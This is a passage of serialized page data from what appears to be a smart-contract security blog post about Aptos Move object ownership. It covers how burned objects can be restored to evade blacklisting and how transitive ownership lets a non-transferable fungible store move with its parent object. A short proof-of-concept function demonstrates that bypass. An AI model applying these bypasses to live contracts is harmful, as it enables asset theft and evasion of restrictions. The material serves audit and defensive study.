BURN_ADDRESS);\n}\n",[63932],{"type":23,"tag":209,"props":63933,"children":63934},{"__ignoreMap":7},[63935,64032,64073,64123,64152,64202,64223],{"type":23,"tag":213,"props":63936,"children":63937},{"class":215,"line":216},[63938,63942,63946,63950,63955,63959,63963,63967,63971,63975,63979,63983,63987,63991,63995,63999,64003,64007,64011,64015,64019,64023,64028],{"type":23,"tag":213,"props":63939,"children":63940},{"style":268},[63941],{"type":28,"value":61729},{"type":23,"tag":213,"props":63943,"children":63944},{"style":268},[63945],{"type":28,"value":62696},{"type":23,"tag":213,"props":63947,"children":63948},{"style":268},[63949],{"type":28,"value":6299},{"type":23,"tag":213,"props":63951,"children":63952},{"style":268},[63953],{"type":28,"value":63954}," burn",{"type":23,"tag":213,"props":63956,"children":63957},{"style":220},[63958],{"type":28,"value":434},{"type":23,"tag":213,"props":63960,"children":63961},{"style":290},[63962],{"type":28,"value":6079},{"type":23,"tag":213,"props":63964,"children":63965},{"style":274},[63966],{"type":28,"value":277},{"type":23,"tag":213,"props":63968,"children":63969},{"style":268},[63970],{"type":28,"value":918},{"type":23,"tag":213,"props":63972,"children":63973},{"style":220},[63974],{"type":28,"value":367},{"type":23,"tag":213,"props":63976,"children":63977},{"style":268},[63978],{"type":28,"value":1883},{"type":23,"tag":213,"props":63980,"children":63981},{"style":274},[63982],{"type":28,"value":277},{"type":23,"tag":213,"props":63984,"children":63985},{"style":274},[63986],{"type":28,"value":927},{"type":23,"tag":213,"props":63988,"children":63989},{"style":268},[63990],{"type":28,"value":7236},{"type":23,"tag":213,"props":63992,"children":63993},{"style":220},[63994],{"type":28,"value":424},{"type":23,"tag":213,"props":63996,"children":63997},{"style":268},[63998],{"type":28,"value":62964},{"type":23,"tag":213,"props":64000,"children":64001},{"style":274},[64002],{"type":28,"value":277},{"type":23,"tag":213,"props":64004,"children":64005},{"style":290},[64006],{"type":28,"value":61615},{"type":23,"tag":213,"props":64008,"children":64009},{"style":220},[64010],{"type":28,"value":434},{"type":23,"tag":213,"props":64012,"children":64013},{"style":290},[64014],{"type":28,"value":6079},{"type":23,"tag":213,"props":64016,"children":64017},{"style":220},[64018],{"type":28,"value":20500},{"type":23,"tag":213,"props":64020,"children":64021},{"style":268},[64022],{"type":28,"value":6436},{"type":23,"tag":213,"props":64024,"children":64025},{"style":290},[64026],{"type":28,"value":64027}," ObjectCore",{"type":23,"tag":213,"props":64029,"children":64030},{"style":220},[64031],{"type":28,"value":1375},{"type":23,"tag":213,"props":64033,"children":64034},{"class":215,"line":226},[64035,64039,64044,64048,64053,64057,64061,64065,64069],{"type":23,"tag":213,"props":64036,"children":64037},{"style":230},[64038],{"type":28,"value":487},{"type":23,"tag":213,"props":64040,"children":64041},{"style":268},[64042],{"type":28,"value":64043}," original_owner",{"type":23,"tag":213,"props":64045,"children":64046},{"style":274},[64047],{"type":28,"value":511},{"type":23,"tag":213,"props":64049,"children":64050},{"style":220},[64051],{"type":28,"value":64052}," signer",{"type":23,"tag":213,"props":64054,"children":64055},{"style":274},[64056],{"type":28,"value":562},{"type":23,"tag":213,"props":64058,"children":64059},{"style":257},[64060],{"type":28,"value":7299},{"type":23,"tag":213,"props":64062,"children":64063},{"style":220},[64064],{"type":28,"value":265},{"type":23,"tag":213,"props":64066,"children":64067},{"style":268},[64068],{"type":28,"value":1883},{"type":23,"tag":213,"props":64070,"children":64071},{"style":220},[64072],{"type":28,"value":2867},{"type":23,"tag":213,"props":64074,"children":64075},{"class":215,"line":524},[64076,64080,64084,64089,64093,64097,64101,64106,64110,64114,64118],{"type":23,"tag":213,"props":64077,"children":64078},{"style":257},[64079],{"type":28,"value":62398},{"type":23,"tag":213,"props":64081,"children":64082},{"style":220},[64083],{"type":28,"value":265},{"type":23,"tag":213,"props":64085,"children":64086},{"style":257},[64087],{"type":28,"value":64088},"is_owner",{"type":23,"tag":213,"props":64090,"children":64091},{"style":220},[64092],{"type":28,"value":265},{"type":23,"tag":213,"props":64094,"children":64095},{"style":268},[64096],{"type":28,"value":62964},{"type":23,"tag":213,"props":64098,"children":64099},{"style":220},[64100],{"type":28,"value":424},{"type":23,"tag":213,"props":64102,"children":64103},{"style":268},[64104],{"type":28,"value":64105},"original_owner",{"type":23,"tag":213,"props":64107,"children":64108},{"style":220},[64109],{"type":28,"value":62987},{"type":23,"tag":213,"props":64111,"children":64112},{"style":274},[64113],{"type":28,"value":562},{"type":23,"tag":213,"props":64115,"children":64116},{"style":257},[64117],{"type":28,"value":63872},{"type":23,"tag":213,"props":64119,"children":64120},{"style":220},[64121],{"type":28,"value":64122},"(ENOT_OBJECT_OWNER));\n",{"type":23,"tag":213,"props":64124,"children":64125},{"class":215,"line":533},[64126,64130,64135,64139,64143,64147],{"type":23,"tag":213,"props":64127,"children":64128},{"style":230},[64129],{"type":28,"value":487},{"type":23,"tag":213,"props":64131,"children":64132},{"style":268},[64133],{"type":28,"value":64134}," object_addr",{"type":23,"tag":213,"props":64136,"children":64137},{"style":274},[64138],{"type":28,"value":511},{"type":23,"tag":213,"props":64140,"children":64141},{"style":268},[64142],{"type":28,"value":62548},{"type":23,"tag":213,"props":64144,"children":64145},{"style":274},[64146],{"type":28,"value":124},{"type":23,"tag":213,"props":64148,"children":64149},{"style":220},[64150],{"type":28,"value":64151},"inner;\n",{"type":23,"tag":213,"props":64153,"children":64154},{"class":215,"line":543},[64155,64159,64163,64167,64172,64176,64181,64185,64190,64194,64198],{"type":23,"tag":213,"props":64156,"children":64157},{"style":257},[64158],{"type":28,"value":63151},{"type":23,"tag":213,"props":64160,"children":64161},{"style":220},[64162],{"type":28,"value":265},{"type":23,"tag":213,"props":64164,"children":64165},{"style":274},[64166],{"type":28,"value":405},{"type":23,"tag":213,"props":64168,"children":64169},{"style":257},[64170],{"type":28,"value":64171},"create_signer",{"type":23,"tag":213,"props":64173,"children":64174},{"style":220},[64175],{"type":28,"value":265},{"type":23,"tag":213,"props":64177,"children":64178},{"style":268},[64179],{"type":28,"value":64180},"object_addr",{"type":23,"tag":213,"props":64182,"children":64183},{"style":220},[64184],{"type":28,"value":15236},{"type":23,"tag":213,"props":64186,"children":64187},{"style":290},[64188],{"type":28,"value":64189},"TombStone",{"type":23,"tag":213,"props":64191,"children":64192},{"style":220},[64193],{"type":28,"value":2572},{"type":23,"tag":213,"props":64195,"children":64196},{"style":268},[64197],{"type":28,"value":64105},{"type":23,"tag":213,"props":64199,"children":64200},{"style":220},[64201],{"type":28,"value":38892},{"type":23,"tag":213,"props":64203,"children":64204},{"class":215,"line":551},[64205,64210,64214,64218],{"type":23,"tag":213,"props":64206,"children":64207},{"style":257},[64208],{"type":28,"value":64209}," transfer_raw_inner",{"type":23,"tag":213,"props":64211,"children":64212},{"style":220},[64213],{"type":28,"value":265},{"type":23,"tag":213,"props":64215,"children":64216},{"style":268},[64217],{"type":28,"value":64180},{"type":23,"tag":213,"props":64219,"children":64220},{"style":220},[64221],{"type":28,"value":64222},", BURN_ADDRESS);\n",{"type":23,"tag":213,"props":64224,"children":64225},{"class":215,"line":570},[64226],{"type":23,"tag":213,"props":64227,"children":64228},{"style":220},[64229],{"type":28,"value":1208},{"type":23,"tag":24,"props":64231,"children":64232},{},[64233,64239,64241,64246,64247,64254,64256,64261],{"type":23,"tag":209,"props":64234,"children":64236},{"className":64235},[],[64237],{"type":28,"value":64238},"unburn",{"type":28,"value":64240}," is a way to restore the previous object owner. In a past audit, this mechanism could be exploited to bypass fungible store owner blacklisting by temporarily setting ownership to the unblacklisted ",{"type":23,"tag":209,"props":64242,"children":64244},{"className":64243},[],[64245],{"type":28,"value":63925},{"type":28,"value":18583},{"type":23,"tag":36,"props":64248,"children":64251},{"href":64249,"rel":64250},"https://github.com/aptos-foundation/AIPs/blob/main/aips/aip-99.md",[40],[64252],{"type":28,"value":64253},"AIP-99",{"type":28,"value":64255}," is a proposal to roll back the ",{"type":23,"tag":209,"props":64257,"children":64259},{"className":64258},[],[64260],{"type":28,"value":63917},{"type":28,"value":64262}," feature, but previously burned objects will remain restorable.",{"type":23,"tag":3036,"props":64264,"children":64265},{},[64266],{"type":23,"tag":24,"props":64267,"children":64268},{},[64269,64271,64275],{"type":28,"value":64270},"This ",{"type":23,"tag":213,"props":64272,"children":64273},{},[64274],{"type":28,"value":64253},{"type":28,"value":64276}," seeks to disable safe object burn, as it caused extra complexity, and sometimes unexpected consequences. As a result of this AIP, users will still be able to unburn their burnt objects, but will not be able to burn any new objects.",{"type":23,"tag":24,"props":64278,"children":64279},{},[64280,64282,64288,64290,64295,64297,64302],{"type":28,"value":64281},"Another important thing is that ",{"type":23,"tag":209,"props":64283,"children":64285},{"className":64284},[],[64286],{"type":28,"value":64287},"fungible_asset::set_untransferable",{"type":28,"value":64289}," can be used to make all new ",{"type":23,"tag":209,"props":64291,"children":64293},{"className":64292},[],[64294],{"type":28,"value":62634},{"type":28,"value":64296}," for this asset untransferable, preventing ownership changes. However, this restriction doesn't apply to the parent object, allowing a transferable parent to be moved even if it owns a non-transferable ",{"type":23,"tag":209,"props":64298,"children":64300},{"className":64299},[],[64301],{"type":28,"value":62130},{"type":28,"value":124},{"type":23,"tag":24,"props":64304,"children":64305},{},[64306,64308,64313,64315,64321,64323,64328,64330,64335],{"type":28,"value":64307},"Do we need to care about this case? We do, because ownership is transitive. If entity X owns an object that owns a ",{"type":23,"tag":209,"props":64309,"children":64311},{"className":64310},[],[64312],{"type":28,"value":62130},{"type":28,"value":64314},", X can withdraw from that store. This is because ",{"type":23,"tag":209,"props":64316,"children":64318},{"className":64317},[],[64319],{"type":28,"value":64320},"fungible_asset::withdraw",{"type":28,"value":64322}," uses ",{"type":23,"tag":209,"props":64324,"children":64326},{"className":64325},[],[64327],{"type":28,"value":63648},{"type":28,"value":64329}," to verify both direct and indirect ownership of the ",{"type":23,"tag":209,"props":64331,"children":64333},{"className":64332},[],[64334],{"type":28,"value":62130},{"type":28,"value":50229},{"type":23,"tag":202,"props":64337,"children":64339},{"className":206,"code":64338,"language":205,"meta":7,"style":7},"fun verify_ungated_and_descendant(owner: address, destination: address) acquires ObjectCore {\n [...]\n while (owner != current_address) {\n count = count + 1;\n [...]\n assert!(\n exists\u003CObjectCore>(current_address),\n error::permission_denied(ENOT_OBJECT_OWNER),\n );\n let object = borrow_global\u003CObjectCore>(current_address);\n current_address = object.owner;\n };\n}\n",[64340],{"type":23,"tag":209,"props":64341,"children":64342},{"__ignoreMap":7},[64343,64404,64420,64450,64479,64494,64506,64536,64557,64564,64604,64629,64636],{"type":23,"tag":213,"props":64344,"children":64345},{"class":215,"line":216},[64346,64350,64355,64359,64363,64367,64371,64375,64380,64384,64388,64392,64396,64400],{"type":23,"tag":213,"props":64347,"children":64348},{"style":268},[64349],{"type":28,"value":7198},{"type":23,"tag":213,"props":64351,"children":64352},{"style":257},[64353],{"type":28,"value":64354}," verify_ungated_and_descendant",{"type":23,"tag":213,"props":64356,"children":64357},{"style":220},[64358],{"type":28,"value":265},{"type":23,"tag":213,"props":64360,"children":64361},{"style":268},[64362],{"type":28,"value":1883},{"type":23,"tag":213,"props":64364,"children":64365},{"style":274},[64366],{"type":28,"value":277},{"type":23,"tag":213,"props":64368,"children":64369},{"style":268},[64370],{"type":28,"value":6342},{"type":23,"tag":213,"props":64372,"children":64373},{"style":220},[64374],{"type":28,"value":424},{"type":23,"tag":213,"props":64376,"children":64377},{"style":268},[64378],{"type":28,"value":64379},"destination",{"type":23,"tag":213,"props":64381,"children":64382},{"style":274},[64383],{"type":28,"value":277},{"type":23,"tag":213,"props":64385,"children":64386},{"style":268},[64387],{"type":28,"value":6342},{"type":23,"tag":213,"props":64389,"children":64390},{"style":220},[64391],{"type":28,"value":298},{"type":23,"tag":213,"props":64393,"children":64394},{"style":268},[64395],{"type":28,"value":6436},{"type":23,"tag":213,"props":64397,"children":64398},{"style":290},[64399],{"type":28,"value":64027},{"type":23,"tag":213,"props":64401,"children":64402},{"style":220},[64403],{"type":28,"value":1375},{"type":23,"tag":213,"props":64405,"children":64406},{"class":215,"line":226},[64407,64412,64416],{"type":23,"tag":213,"props":64408,"children":64409},{"style":220},[64410],{"type":28,"value":64411}," [",{"type":23,"tag":213,"props":64413,"children":64414},{"style":274},[64415],{"type":28,"value":9675},{"type":23,"tag":213,"props":64417,"children":64418},{"style":220},[64419],{"type":28,"value":11856},{"type":23,"tag":213,"props":64421,"children":64422},{"class":215,"line":524},[64423,64428,64432,64436,64441,64446],{"type":23,"tag":213,"props":64424,"children":64425},{"style":1362},[64426],{"type":28,"value":64427}," while",{"type":23,"tag":213,"props":64429,"children":64430},{"style":220},[64431],{"type":28,"value":400},{"type":23,"tag":213,"props":64433,"children":64434},{"style":268},[64435],{"type":28,"value":1883},{"type":23,"tag":213,"props":64437,"children":64438},{"style":274},[64439],{"type":28,"value":64440}," !=",{"type":23,"tag":213,"props":64442,"children":64443},{"style":268},[64444],{"type":28,"value":64445}," current_address",{"type":23,"tag":213,"props":64447,"children":64448},{"style":220},[64449],{"type":28,"value":14870},{"type":23,"tag":213,"props":64451,"children":64452},{"class":215,"line":533},[64453,64458,64462,64467,64471,64475],{"type":23,"tag":213,"props":64454,"children":64455},{"style":268},[64456],{"type":28,"value":64457}," count",{"type":23,"tag":213,"props":64459,"children":64460},{"style":274},[64461],{"type":28,"value":511},{"type":23,"tag":213,"props":64463,"children":64464},{"style":268},[64465],{"type":28,"value":64466}," count",{"type":23,"tag":213,"props":64468,"children":64469},{"style":274},[64470],{"type":28,"value":8989},{"type":23,"tag":213,"props":64472,"children":64473},{"style":514},[64474],{"type":28,"value":4618},{"type":23,"tag":213,"props":64476,"children":64477},{"style":220},[64478],{"type":28,"value":313},{"type":23,"tag":213,"props":64480,"children":64481},{"class":215,"line":543},[64482,64486,64490],{"type":23,"tag":213,"props":64483,"children":64484},{"style":220},[64485],{"type":28,"value":64411},{"type":23,"tag":213,"props":64487,"children":64488},{"style":274},[64489],{"type":28,"value":9675},{"type":23,"tag":213,"props":64491,"children":64492},{"style":220},[64493],{"type":28,"value":11856},{"type":23,"tag":213,"props":64495,"children":64496},{"class":215,"line":551},[64497,64502],{"type":23,"tag":213,"props":64498,"children":64499},{"style":257},[64500],{"type":28,"value":64501}," assert!",{"type":23,"tag":213,"props":64503,"children":64504},{"style":220},[64505],{"type":28,"value":1511},{"type":23,"tag":213,"props":64507,"children":64508},{"class":215,"line":570},[64509,64514,64518,64523,64527,64532],{"type":23,"tag":213,"props":64510,"children":64511},{"style":268},[64512],{"type":28,"value":64513}," exists",{"type":23,"tag":213,"props":64515,"children":64516},{"style":220},[64517],{"type":28,"value":434},{"type":23,"tag":213,"props":64519,"children":64520},{"style":290},[64521],{"type":28,"value":64522},"ObjectCore",{"type":23,"tag":213,"props":64524,"children":64525},{"style":220},[64526],{"type":28,"value":367},{"type":23,"tag":213,"props":64528,"children":64529},{"style":268},[64530],{"type":28,"value":64531},"current_address",{"type":23,"tag":213,"props":64533,"children":64534},{"style":220},[64535],{"type":28,"value":1715},{"type":23,"tag":213,"props":64537,"children":64538},{"class":215,"line":655},[64539,64544,64548,64552],{"type":23,"tag":213,"props":64540,"children":64541},{"style":220},[64542],{"type":28,"value":64543}," error",{"type":23,"tag":213,"props":64545,"children":64546},{"style":274},[64547],{"type":28,"value":562},{"type":23,"tag":213,"props":64549,"children":64550},{"style":257},[64551],{"type":28,"value":63872},{"type":23,"tag":213,"props":64553,"children":64554},{"style":220},[64555],{"type":28,"value":64556},"(ENOT_OBJECT_OWNER),\n",{"type":23,"tag":213,"props":64558,"children":64559},{"class":215,"line":1176},[64560],{"type":23,"tag":213,"props":64561,"children":64562},{"style":220},[64563],{"type":28,"value":2831},{"type":23,"tag":213,"props":64565,"children":64566},{"class":215,"line":1202},[64567,64571,64575,64579,64584,64588,64592,64596,64600],{"type":23,"tag":213,"props":64568,"children":64569},{"style":230},[64570],{"type":28,"value":3163},{"type":23,"tag":213,"props":64572,"children":64573},{"style":268},[64574],{"type":28,"value":62548},{"type":23,"tag":213,"props":64576,"children":64577},{"style":274},[64578],{"type":28,"value":511},{"type":23,"tag":213,"props":64580,"children":64581},{"style":268},[64582],{"type":28,"value":64583}," borrow_global",{"type":23,"tag":213,"props":64585,"children":64586},{"style":220},[64587],{"type":28,"value":434},{"type":23,"tag":213,"props":64589,"children":64590},{"style":290},[64591],{"type":28,"value":64522},{"type":23,"tag":213,"props":64593,"children":64594},{"style":220},[64595],{"type":28,"value":367},{"type":23,"tag":213,"props":64597,"children":64598},{"style":268},[64599],{"type":28,"value":64531},{"type":23,"tag":213,"props":64601,"children":64602},{"style":220},[64603],{"type":28,"value":2867},{"type":23,"tag":213,"props":64605,"children":64606},{"class":215,"line":1758},[64607,64612,64616,64620,64624],{"type":23,"tag":213,"props":64608,"children":64609},{"style":268},[64610],{"type":28,"value":64611}," current_address",{"type":23,"tag":213,"props":64613,"children":64614},{"style":274},[64615],{"type":28,"value":511},{"type":23,"tag":213,"props":64617,"children":64618},{"style":268},[64619],{"type":28,"value":62548},{"type":23,"tag":213,"props":64621,"children":64622},{"style":274},[64623],{"type":28,"value":124},{"type":23,"tag":213,"props":64625,"children":64626},{"style":220},[64627],{"type":28,"value":64628},"owner;\n",{"type":23,"tag":213,"props":64630,"children":64631},{"class":215,"line":1767},[64632],{"type":23,"tag":213,"props":64633,"children":64634},{"style":220},[64635],{"type":28,"value":39054},{"type":23,"tag":213,"props":64637,"children":64638},{"class":215,"line":1789},[64639],{"type":23,"tag":213,"props":64640,"children":64641},{"style":220},[64642],{"type":28,"value":1208},{"type":23,"tag":24,"props":64644,"children":64645},{},[64646,64648,64653],{"type":28,"value":64647},"This could allow for bypassing assumptions about ",{"type":23,"tag":209,"props":64649,"children":64651},{"className":64650},[],[64652],{"type":28,"value":62130},{"type":28,"value":64654}," true ownership and its non-transferability.",{"type":23,"tag":202,"props":64656,"children":64658},{"className":206,"code":64657,"language":205,"meta":7,"style":7},"public fun untransferable_transfer(caller: &signer, receipient: address) {\n let constructor_ref = object::create_object(signer::address_of(caller));\n let object_addr = object::address_from_constructor_ref(&constructor_ref);\n let store = primary_fungible_store::ensure_primary_store_exists(object_addr, get_metadata());\n\n object::transfer_raw(caller, object_addr, receipient);\n //receipient can interact with store by using their signer\n}\n",[64659],{"type":23,"tag":209,"props":64660,"children":64661},{"__ignoreMap":7},[64662,64720,64773,64817,64865,64872,64917,64925],{"type":23,"tag":213,"props":64663,"children":64664},{"class":215,"line":216},[64665,64669,64673,64678,64682,64687,64691,64695,64699,64703,64708,64712,64716],{"type":23,"tag":213,"props":64666,"children":64667},{"style":268},[64668],{"type":28,"value":61729},{"type":23,"tag":213,"props":64670,"children":64671},{"style":268},[64672],{"type":28,"value":6299},{"type":23,"tag":213,"props":64674,"children":64675},{"style":257},[64676],{"type":28,"value":64677}," untransferable_transfer",{"type":23,"tag":213,"props":64679,"children":64680},{"style":220},[64681],{"type":28,"value":265},{"type":23,"tag":213,"props":64683,"children":64684},{"style":268},[64685],{"type":28,"value":64686},"caller",{"type":23,"tag":213,"props":64688,"children":64689},{"style":274},[64690],{"type":28,"value":277},{"type":23,"tag":213,"props":64692,"children":64693},{"style":274},[64694],{"type":28,"value":927},{"type":23,"tag":213,"props":64696,"children":64697},{"style":268},[64698],{"type":28,"value":7236},{"type":23,"tag":213,"props":64700,"children":64701},{"style":220},[64702],{"type":28,"value":424},{"type":23,"tag":213,"props":64704,"children":64705},{"style":268},[64706],{"type":28,"value":64707},"receipient",{"type":23,"tag":213,"props":64709,"children":64710},{"style":274},[64711],{"type":28,"value":277},{"type":23,"tag":213,"props":64713,"children":64714},{"style":268},[64715],{"type":28,"value":6342},{"type":23,"tag":213,"props":64717,"children":64718},{"style":220},[64719],{"type":28,"value":14870},{"type":23,"tag":213,"props":64721,"children":64722},{"class":215,"line":226},[64723,64727,64732,64736,64740,64744,64749,64753,64757,64761,64765,64769],{"type":23,"tag":213,"props":64724,"children":64725},{"style":230},[64726],{"type":28,"value":487},{"type":23,"tag":213,"props":64728,"children":64729},{"style":268},[64730],{"type":28,"value":64731}," constructor_ref",{"type":23,"tag":213,"props":64733,"children":64734},{"style":274},[64735],{"type":28,"value":511},{"type":23,"tag":213,"props":64737,"children":64738},{"style":220},[64739],{"type":28,"value":62548},{"type":23,"tag":213,"props":64741,"children":64742},{"style":274},[64743],{"type":28,"value":562},{"type":23,"tag":213,"props":64745,"children":64746},{"style":257},[64747],{"type":28,"value":64748},"create_object",{"type":23,"tag":213,"props":64750,"children":64751},{"style":220},[64752],{"type":28,"value":7290},{"type":23,"tag":213,"props":64754,"children":64755},{"style":274},[64756],{"type":28,"value":562},{"type":23,"tag":213,"props":64758,"children":64759},{"style":257},[64760],{"type":28,"value":7299},{"type":23,"tag":213,"props":64762,"children":64763},{"style":220},[64764],{"type":28,"value":265},{"type":23,"tag":213,"props":64766,"children":64767},{"style":268},[64768],{"type":28,"value":64686},{"type":23,"tag":213,"props":64770,"children":64771},{"style":220},[64772],{"type":28,"value":7313},{"type":23,"tag":213,"props":64774,"children":64775},{"class":215,"line":524},[64776,64780,64784,64788,64792,64796,64801,64805,64809,64813],{"type":23,"tag":213,"props":64777,"children":64778},{"style":230},[64779],{"type":28,"value":487},{"type":23,"tag":213,"props":64781,"children":64782},{"style":268},[64783],{"type":28,"value":64134},{"type":23,"tag":213,"props":64785,"children":64786},{"style":274},[64787],{"type":28,"value":511},{"type":23,"tag":213,"props":64789,"children":64790},{"style":220},[64791],{"type":28,"value":62548},{"type":23,"tag":213,"props":64793,"children":64794},{"style":274},[64795],{"type":28,"value":562},{"type":23,"tag":213,"props":64797,"children":64798},{"style":257},[64799],{"type":28,"value":64800},"address_from_constructor_ref",{"type":23,"tag":213,"props":64802,"children":64803},{"style":220},[64804],{"type":28,"value":265},{"type":23,"tag":213,"props":64806,"children":64807},{"style":274},[64808],{"type":28,"value":405},{"type":23,"tag":213,"props":64810,"children":64811},{"style":268},[64812],{"type":28,"value":62982},{"type":23,"tag":213,"props":64814,"children":64815},{"style":220},[64816],{"type":28,"value":2867},{"type":23,"tag":213,"props":64818,"children":64819},{"class":215,"line":533},[64820,64824,64828,64832,64837,64841,64845,64849,64853,64857,64861],{"type":23,"tag":213,"props":64821,"children":64822},{"style":230},[64823],{"type":28,"value":487},{"type":23,"tag":213,"props":64825,"children":64826},{"style":268},[64827],{"type":28,"value":5924},{"type":23,"tag":213,"props":64829,"children":64830},{"style":274},[64831],{"type":28,"value":511},{"type":23,"tag":213,"props":64833,"children":64834},{"style":220},[64835],{"type":28,"value":64836}," primary_fungible_store",{"type":23,"tag":213,"props":64838,"children":64839},{"style":274},[64840],{"type":28,"value":562},{"type":23,"tag":213,"props":64842,"children":64843},{"style":257},[64844],{"type":28,"value":62874},{"type":23,"tag":213,"props":64846,"children":64847},{"style":220},[64848],{"type":28,"value":265},{"type":23,"tag":213,"props":64850,"children":64851},{"style":268},[64852],{"type":28,"value":64180},{"type":23,"tag":213,"props":64854,"children":64855},{"style":220},[64856],{"type":28,"value":424},{"type":23,"tag":213,"props":64858,"children":64859},{"style":257},[64860],{"type":28,"value":62830},{"type":23,"tag":213,"props":64862,"children":64863},{"style":220},[64864],{"type":28,"value":15484},{"type":23,"tag":213,"props":64866,"children":64867},{"class":215,"line":543},[64868],{"type":23,"tag":213,"props":64869,"children":64870},{"emptyLinePlaceholder":18},[64871],{"type":28,"value":530},{"type":23,"tag":213,"props":64873,"children":64874},{"class":215,"line":551},[64875,64880,64884,64889,64893,64897,64901,64905,64909,64913],{"type":23,"tag":213,"props":64876,"children":64877},{"style":220},[64878],{"type":28,"value":64879}," object",{"type":23,"tag":213,"props":64881,"children":64882},{"style":274},[64883],{"type":28,"value":562},{"type":23,"tag":213,"props":64885,"children":64886},{"style":257},[64887],{"type":28,"value":64888},"transfer_raw",{"type":23,"tag":213,"props":64890,"children":64891},{"style":220},[64892],{"type":28,"value":265},{"type":23,"tag":213,"props":64894,"children":64895},{"style":268},[64896],{"type":28,"value":64686},{"type":23,"tag":213,"props":64898,"children":64899},{"style":220},[64900],{"type":28,"value":424},{"type":23,"tag":213,"props":64902,"children":64903},{"style":268},[64904],{"type":28,"value":64180},{"type":23,"tag":213,"props":64906,"children":64907},{"style":220},[64908],{"type":28,"value":424},{"type":23,"tag":213,"props":64910,"children":64911},{"style":268},[64912],{"type":28,"value":64707},{"type":23,"tag":213,"props":64914,"children":64915},{"style":220},[64916],{"type":28,"value":2867},{"type":23,"tag":213,"props":64918,"children":64919},{"class":215,"line":570},[64920],{"type":23,"tag":213,"props":64921,"children":64922},{"style":537},[64923],{"type":28,"value":64924}," //receipient can interact with store by using their signer\n",{"type":23,"tag":213,"props":64926,"children":64927},{"class":215,"line":655},[64928],{"type":23,"tag":213,"props":64929,"children":64930},{"style":220},[64931],{"type":28,"value":1208},{"type":23,"tag":24,"props":64933,"children":64934},{},[64935,64937,64944],{"type":28,"value":64936},"The ownership transfer issue also showed up during our review of the fungible asset standard, where we identified an interesting ",{"type":23,"tag":36,"props":64938,"children":64941},{"href":64939,"rel":64940},"https://github.com/aptos-labs/aptos-core/commit/e8c5e4bd03930d25f0dbec9529680fac36eb2fa6",[40],[64942],{"type":28,"value":64943},"edge case",{"type":28,"value":64945}," involving the transfer of a non-transferable fungible store.",{"type":23,"tag":202,"props":64947,"children":64949},{"className":206,"code":64948,"language":205,"meta":7,"style":7},"public fun transfer_with_ref(ref: LinearTransferRef, to: address) acquires ObjectCore {\n assert!(!exists\u003CUntransferable>(ref.self), error::permission_denied(ENOT_MOVABLE));\n let object = borrow_global_mut\u003CObjectCore>(ref.self);\n assert!(\n object.owner == ref.owner,\n error::permission_denied(ENOT_OBJECT_OWNER),\n );\n \n [...]\n \n object.owner = to;\n}\n",[64950],{"type":23,"tag":209,"props":64951,"children":64952},{"__ignoreMap":7},[64953,65018,65079,65126,65137,65172,65192,65199,65206,65221,65228,65256],{"type":23,"tag":213,"props":64954,"children":64955},{"class":215,"line":216},[64956,64960,64964,64969,64973,64977,64981,64986,64990,64994,64998,65002,65006,65010,65014],{"type":23,"tag":213,"props":64957,"children":64958},{"style":268},[64959],{"type":28,"value":61729},{"type":23,"tag":213,"props":64961,"children":64962},{"style":268},[64963],{"type":28,"value":6299},{"type":23,"tag":213,"props":64965,"children":64966},{"style":257},[64967],{"type":28,"value":64968}," transfer_with_ref",{"type":23,"tag":213,"props":64970,"children":64971},{"style":220},[64972],{"type":28,"value":265},{"type":23,"tag":213,"props":64974,"children":64975},{"style":230},[64976],{"type":28,"value":63391},{"type":23,"tag":213,"props":64978,"children":64979},{"style":274},[64980],{"type":28,"value":277},{"type":23,"tag":213,"props":64982,"children":64983},{"style":290},[64984],{"type":28,"value":64985}," LinearTransferRef",{"type":23,"tag":213,"props":64987,"children":64988},{"style":220},[64989],{"type":28,"value":424},{"type":23,"tag":213,"props":64991,"children":64992},{"style":268},[64993],{"type":28,"value":32783},{"type":23,"tag":213,"props":64995,"children":64996},{"style":274},[64997],{"type":28,"value":277},{"type":23,"tag":213,"props":64999,"children":65000},{"style":268},[65001],{"type":28,"value":6342},{"type":23,"tag":213,"props":65003,"children":65004},{"style":220},[65005],{"type":28,"value":298},{"type":23,"tag":213,"props":65007,"children":65008},{"style":268},[65009],{"type":28,"value":6436},{"type":23,"tag":213,"props":65011,"children":65012},{"style":290},[65013],{"type":28,"value":64027},{"type":23,"tag":213,"props":65015,"children":65016},{"style":220},[65017],{"type":28,"value":1375},{"type":23,"tag":213,"props":65019,"children":65020},{"class":215,"line":226},[65021,65025,65029,65033,65037,65041,65046,65050,65054,65058,65062,65066,65070,65074],{"type":23,"tag":213,"props":65022,"children":65023},{"style":257},[65024],{"type":28,"value":62398},{"type":23,"tag":213,"props":65026,"children":65027},{"style":220},[65028],{"type":28,"value":265},{"type":23,"tag":213,"props":65030,"children":65031},{"style":274},[65032],{"type":28,"value":20675},{"type":23,"tag":213,"props":65034,"children":65035},{"style":268},[65036],{"type":28,"value":6797},{"type":23,"tag":213,"props":65038,"children":65039},{"style":220},[65040],{"type":28,"value":434},{"type":23,"tag":213,"props":65042,"children":65043},{"style":290},[65044],{"type":28,"value":65045},"Untransferable",{"type":23,"tag":213,"props":65047,"children":65048},{"style":220},[65049],{"type":28,"value":367},{"type":23,"tag":213,"props":65051,"children":65052},{"style":230},[65053],{"type":28,"value":63391},{"type":23,"tag":213,"props":65055,"children":65056},{"style":274},[65057],{"type":28,"value":124},{"type":23,"tag":213,"props":65059,"children":65060},{"style":230},[65061],{"type":28,"value":13791},{"type":23,"tag":213,"props":65063,"children":65064},{"style":220},[65065],{"type":28,"value":62987},{"type":23,"tag":213,"props":65067,"children":65068},{"style":274},[65069],{"type":28,"value":562},{"type":23,"tag":213,"props":65071,"children":65072},{"style":257},[65073],{"type":28,"value":63872},{"type":23,"tag":213,"props":65075,"children":65076},{"style":220},[65077],{"type":28,"value":65078},"(ENOT_MOVABLE));\n",{"type":23,"tag":213,"props":65080,"children":65081},{"class":215,"line":524},[65082,65086,65090,65094,65098,65102,65106,65110,65114,65118,65122],{"type":23,"tag":213,"props":65083,"children":65084},{"style":230},[65085],{"type":28,"value":487},{"type":23,"tag":213,"props":65087,"children":65088},{"style":268},[65089],{"type":28,"value":62548},{"type":23,"tag":213,"props":65091,"children":65092},{"style":274},[65093],{"type":28,"value":511},{"type":23,"tag":213,"props":65095,"children":65096},{"style":268},[65097],{"type":28,"value":7686},{"type":23,"tag":213,"props":65099,"children":65100},{"style":220},[65101],{"type":28,"value":434},{"type":23,"tag":213,"props":65103,"children":65104},{"style":290},[65105],{"type":28,"value":64522},{"type":23,"tag":213,"props":65107,"children":65108},{"style":220},[65109],{"type":28,"value":367},{"type":23,"tag":213,"props":65111,"